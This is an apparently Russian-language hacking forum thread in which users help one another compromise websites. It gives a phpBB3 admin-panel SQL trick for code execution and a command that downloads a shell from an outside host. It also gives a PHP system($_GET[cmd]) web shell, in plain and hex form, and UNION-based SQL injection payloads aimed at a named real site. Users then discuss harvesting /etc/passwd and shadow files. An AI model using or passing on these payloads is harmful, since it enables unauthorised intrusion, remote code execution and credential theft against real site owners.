Ваши вопросы по уязвимостям.

нихрена там нет. Ищи на багтреках про жумлу

 

Вопрос такой... phpbb3 форум.. я задал тут вопрос как мне через админку залить шелл? ответили что через восстановление базы и в коде :UPDATE forum_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=phpinfo() WHERE user_id=2;
Сработало однако )) Но вот незадача... я хз че дальше то делать. Что можно выполнить используя данный код. что то прописать в нем вместо phpinfo()? подскажите...

 

видимо, любую пхп комманду =)

 

Здесь проблема в кодировке, или в отстутсвии оператора UNION?

 

В кодировке. Пробуй convert(concat(version())+using+latin1)

 

union+select+1,unhex(hex(version())),3/*

 

convert(version(),binary)
AES_DECRYPT(AES_ENCRYPT(CONCAT(version()),0x71),0x71)
...
Давай все поперечисляем?

 

Действительно, в кодировке.
Спасибо

 

хм... вот такая вот ошибочка когда пытаюсь залить код с copy:
SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'http://shall57.narod.ru/shall.txt','/usr/local/www/vhosts/xxx/httpdocs/f' at line 1

UPDATE forum_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='forum:copy('http://shall57.narod.ru/shall.txt','/usr/local/www/vhosts/xxx.ru/httpdocs/forum/avatars/shall.txt')' WHERE user_id=2

Line : 980
File : admin_db_utilities.php


Подумал можт дело в '' убрал их... залилось но выдает пустую страничку (((((

 

Ghost0ff
в пхпбб какой версии пытаешся залить шелл? кинь данные в пм зделаю)

 

Ясен пень, что дело в кавычках. Внутренние апострофы экранировать надо.

 

хм... это как? оО кинь ссылко на источник или объясни плз

 

а что system(wget get и т.д) уже не в моде? или отключён? Лишний гемор всё это...

 

+1
Всё равно спросят )
'<?system($_GET[cmd]);?>'
Или так, если кавычки не катят.
0x3c3f2073797374656d2824636d64293b203f3e
Потом обращаешься к нему
shell.php?cmd=ls -la
wget'oм заливаешь шелл со своего хоста.

 

Подскажите как бороться с такой ошибкой?

error in query 'select *, count(news_id) as news_count, news_id, category.category_id from category left join news using(category_id) where category.category_id = 38 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/* group by category.category_id' Mixing of GROUP columns (MIN(),MAX(),COUNT(),...) with no GROUP columns is illegal if there is no GROUP BY clause

столбцов 24,судя по order by!
Ссылку выложить к сожалению не могу

 

@WisP™

там же LEFT JOIN, нужно так:
-1 GROUP BY category.category_id UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*

 

опять я запутался..

Code:

urbanwild@localhost - user
5.0.17-nt-log - version

Code:

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
VIEWS
USER_PRIVILEGES
menu
wysiwyg
tbl_news
tbl_pages
tbl_wysiwyg

не могу посмотреть содержимое столбцов
http://www.heimlichinstitute.org/page.php?id=-1+union+select+1,unhex(hex(COLUMN_NAME)),3,4+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='USER_PRIVILEGES'+LIMIT+1,1--

 

хекси название таблиц без кавычек.
http://snak3.h17.ru/tools

к примеру USER_PRIVILEGES будет выглядеть как:

Code:

16bit:0x555345525f50524956494c45474553

 

Приветствую Всех.

Вытащил все из /etc/passwd/ вот такого вида:

Как я понимаю, тут одни логины, пассы должны лежать в etc/shadow, там пусто, так как доступно только для пользователя с рутовами правами...

Подскажите, как дальше действовать?

 

хэши паролей заменены на 'x', так что содержание файла бесполезное.

посмотри так же:

Code:

/etc/shadow.old
/etc/​passwd.tmp
/etc/master.passwd

но сомневаюсь, что ситуация изменится (-